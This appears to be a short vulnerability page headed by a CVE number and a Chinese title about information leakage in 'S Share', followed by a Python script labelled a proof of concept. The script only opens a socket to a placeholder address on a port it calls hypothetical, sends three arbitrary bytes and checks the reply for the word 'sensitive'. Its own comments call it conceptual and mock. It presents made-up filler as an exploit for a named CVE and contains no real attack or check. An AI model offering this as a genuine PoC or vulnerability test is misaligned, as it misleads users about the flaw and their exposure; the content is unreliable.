CVE-2026-21008: S Share敏感信息泄露

import socket import sys # PoC for CVE-2026-21008: Information Disclosure in S Share # Description: This script attempts to connect to the vulnerable S Share service # on a target device within the adjacent network to check for information disclosure. # Note: This is a conceptual demonstration for educational purposes. TARGET_IP = "192.168.1.X" # Replace with target IP TARGET_PORT = 12345 # Hypothetical vulnerable port def check_vulnerability(ip, port): try: print(f"[*] Attempting to connect to {ip}:{port}...") # Establish socket connection (Simulating Adjacent Network Attack) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((ip, port)) # Send a probe packet (Simulating No Auth/No Interaction) payload = b"\x00\x01\x02" # Example probe s.send(payload) # Receive response response = s.recv(1024) print("[+] Response received:") print(response.decode('utf-8', errors='ignore')) # Check if sensitive data pattern exists (Mock check) if b"sensitive" in response.lower(): print("[!] Vulnerability Confirmed: Sensitive information exposed.") else: print("[-] Service responded but no obvious data leak detected in this probe.") s.close() except Exception as e: print(f"[-] Connection failed or service not reachable: {e}") if __name__ == "__main__": check_vulnerability(TARGET_IP, TARGET_PORT)